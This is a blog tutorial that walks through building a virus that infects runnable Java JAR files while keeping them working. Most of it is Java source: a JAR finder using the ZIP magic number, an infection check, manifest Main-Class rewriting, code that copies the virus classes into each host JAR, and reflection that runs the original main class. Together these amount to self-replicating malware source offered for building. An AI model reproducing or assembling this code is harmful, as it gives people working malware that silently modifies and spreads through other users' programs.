Header Ads

Creating a jar virus



This paper explains how to create a virus, that infects runnable Java Archive Files (JAR) while preserving their functionality. I invented this technique, but I think it is something you can easily come up with once you know how a JAR works.

The emphasis lies on the infection technique, not on doing harm or hiding the virus from detection, which would be a whole topic by itself.

I. The Java Archive File

At first you need to know how your host program actually works to preserve the functionality of the host. A JAR file is a ZIP file with the file ending .jar and a file named MANIFEST.MF in it. The JAR usually contains Java Bytecode.

A runnable JAR has an entry in the MANIFEST.MF that tells the Java Runtime which class contains the main method, so that it knows where to start the execution.

A typical manifest resides in the folder META-INF and looks like this:

Code:
Manifest-Version: 1.0
Class-Path: .
Main-Class: gui.AppStarter

The entry Main-Class tells here that the main method can be found in gui/AppStarter.class within the JAR.

Knowing that the JAR file is just a ZIP, you can also handle it like this and extract it with i.e. 7zip.

II. The JAR infection technique

To infect a JAR, the virus has to update the JAR with its own .class files and change the manifest Main-Class entry so that the virus is executed.
But it also has to preserve the old Main-Class entry in order to execute the host, when the host is run.

So these are the steps in an overview:

1. Look for JAR files.
2. For every JAR do: If JAR not infected, go on with next steps.
3. Change the manifest Main-Class entry to the virus main class.
4. Copy the virus .class files into the JAR.
5. Save the old manifest entry somewhere in the JAR.
6. Execute the own host by looking at the preserved manifest entry.

Step 1: Looking for JAR files

Basically you can try to either search for files with a ".jar" ending or you make it more robust and check if it actually is a ZIP with a manifest in it.

For the latter you can use the following method to determine if the file is a ZIP:

Code: Java
private boolean isZip(File file) {
if (file.isDirectory()) {
return false;
}

final int MAGIC_NUMBER = 0x504B0304;
try (RandomAccessFile raf = new RandomAccessFile(file, "r")) {
return raf.readInt() == MAGIC_NUMBER;
} catch (IOException e) {
e.printStackTrace();
}
return false;
}

First you make sure the file is no directory, afterwards you check if the first 8 bytes of the file are the MACIG_NUMBER. That number is the file signature for ZIP.

Here you find a huge list of file signatures: http://www.garykessler.net/library/file_sigs.html

Step 2: Determine infection

You don't want to infect files twice, so you need a method to determine whether a JAR already has been infected. I figured, I would just compare the Main-Class entry in the manifest. If it equals the virus entry, it is already infected.

Code: Java
Jarchiver jar = new Jarchiver(jarFile);
hostEntry = jar.readEntryPoint();
if (hostEntry.equals(JarVir.class.getName())) {
System.out.println("jar already infected");
}

hostEntry is the entry point of the file to be infected.
JarVir.class.getName() returns the entry point of the virus. If they are equal, the JAR is already infected.

The Jarchiver is a helper class for the virus that provides functions for updating JAR and reading the manifest.

Here is how the Jarchiver reads the entry point of the manifest:

Code: Java
private final String jarFile;
private Manifest manifest;

public Jarchiver(String jarFile) throws IOException {
this.jarFile = jarFile;
try (JarInputStream is = new JarInputStream(
new FileInputStream(jarFile))) {
manifest = is.getManifest();
}
}

public String readEntryPoint() {
Attributes attr = manifest.getMainAttributes();
return attr.getValue(Attributes.Name.MAIN_CLASS);
}

Step 3: Updating the manifest

We use the Jarchiver again to update the manifest Main-Class entry with the main class of the virus:

Code: Java
jar.changeEntryPoint(JarVir.class.getName());

It looks like this in the Jarchiver:

Code: Java
public void changeEntryPoint(String entryPoint) {
Attributes attr = manifest.getMainAttributes();
attr.put(Attributes.Name.MAIN_CLASS, entryPoint);
printAttributes(manifest);
}

This doesn't change the manifest on disk already, but in memory.
When updating the JAR in the next step the new manifest is written into it.

Step 4: Updating the JAR

This turned out to be not that straight forward, because in order to update a JAR you have to create an entirely new JAR and replace the old one with the new file.

This is what the virus does:
It gets the location of the own .class files and the names of them that shall be copied into the host and it provides the old entry point of the host (meaning the host class that contains the main method)

Code: Java
Set<String> inFiles = getOwnEntries();
jar.updateJar(inFiles, getRunningJarLocation(), newHostEntry);


The own entries are the two virus .class files to be written:

Code: Java
private Set<String> getOwnEntries() {
Set<String> inFiles = new HashSet<>();
inFiles.add("jarvir/Jarchiver.class");
inFiles.add("jarvir/JarVir.class");
return inFiles;
}

And you get the location of the currently running JAR like this:

Code: Java
private String getRunningJarLocation() {
String path = JarVir.class.getProtectionDomain().getCodeSource()
.getLocation().getPath();
try {
return URLDecoder.decode(path, "UTF-8");
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
return null;
}

You need this location and the entries to copy the virus into the new host file.
Why don't just copy the whole JAR?
Because the virus will operate from host JAR files which contain more than just the virus itself. So you only copy the virus files into new hosts and not more.

The Jarchiver updates the JAR like this:

Code: Java
public void updateJar(Set<String> inFiles, String ownJar, String hostName)
throws FileNotFoundException, IOException {
String jarOut = jarFile + "out.jar";
try (JarInputStream jin = new JarInputStream(new FileInputStream(
jarFile));
JarInputStream ownIn = new JarInputStream(new FileInputStream(
ownJar));
JarOutputStream jout = new JarOutputStream(
new FileOutputStream(jarOut), manifest)) {

copyHost(jin, jout);
writeInFiles(inFiles, ownIn, jout);
writeHostName(jout, hostName);
}
replace(jarFile, jarOut);
}

Those are quite a few steps, so let's make this a bit more clear:
The Jarchiver creates two InputStreams, one for the JAR that has to be infected (jin) and one for the JAR the virus is currently running in (ownIn).
It creates an OutputStream (jout) to write an updated copy of the JAR, that contains virus, host and a note with the main class of the host.
Afterwards it replaces the old JAR file with the updated one.

Here are the methods copyHost and writeInFiles in detail:

Code: Java
private void writeInFiles(Set<String> inFiles, JarInputStream ownIn,
JarOutputStream jout) throws IOException {
JarEntry entry;
while ((entry = ownIn.getNextJarEntry()) != null) {
if (inFiles.contains(entry.getName())) {
writeJarEntry(jout, ownIn, entry);
System.out.println("write own entry " + entry);
}
}
}

private void copyHost(JarInputStream jin, JarOutputStream jout)
throws IOException {
JarEntry entry;
while ((entry = jin.getNextJarEntry()) != null) {
writeJarEntry(jout, jin, entry);
System.out.println("write entry " + entry);
}
}

private void writeJarEntry(JarOutputStream out, JarInputStream in,
JarEntry entry) throws IOException {
out.putNextEntry(entry);
byte[] buf = new byte[1024];
int bytesRead;
while ((bytesRead = in.read(buf)) != -1) {
out.write(buf, 0, bytesRead);
}
out.closeEntry();
}

Both use writeJarEntry, which writes exactly one entry to the specified output stream.

Step 5: Save the old entry point of the host

To preserve the entry point of the host the method writeHostName writes a files with the hostname string into the JAR:

Code: Java
private void writeHostName(JarOutputStream out, String hostName)
throws IOException {
out.putNextEntry(new JarEntry("jarvir/host"));
out.write(hostName.getBytes());
out.closeEntry();
}

This will be read by the virus upon execution of the new host file.

Step 6: Execute the own host

The virus that has just infected other host files, still has to execute the host of the JAR it is currently running in.
This step was for me the most difficult, because I never had to use reflection before.

The problem is that we only have a name of class. We do not have direct access to the class or its main method. So we need to use reflection to get the class and execute the main method.

This is done here:

Code: Java
private void invokeHostMain(String[] args) {
try {
String hostName = getHostName();
if (hostName != null) {
Class<?> host = Class.forName(hostName);
Class[] argTypes = new Class[] { String[].class };
Method main = host.getDeclaredMethod("main", argTypes);
main.invoke(null, (Object) args);
}
} catch (Exception e) {
e.printStackTrace();
}
}

In order to get to know more about reflection in Java, read this:
http://docs.oracle.com/javase/tutorial/reflect/index.html

getHostName reads the entry point of the host from the file that we saved in there.
It has to read that text file, while it is in the JAR, which you can do like this:

Code: Java
private String getHostName() throws IOException {
String name = null;
InputStream in = getClass().getResourceAsStream("host");
if (in != null) {
try (BufferedReader reader = new BufferedReader(
new InputStreamReader(in))) {
name = reader.readLine();
}
} else {
System.err.println("host not found");
}
return name;
}

And that's it. Because this virus infects JAR files, it is able to work on all platforms that have a JVM.

Hope you enjoyed
Powered by Blogger.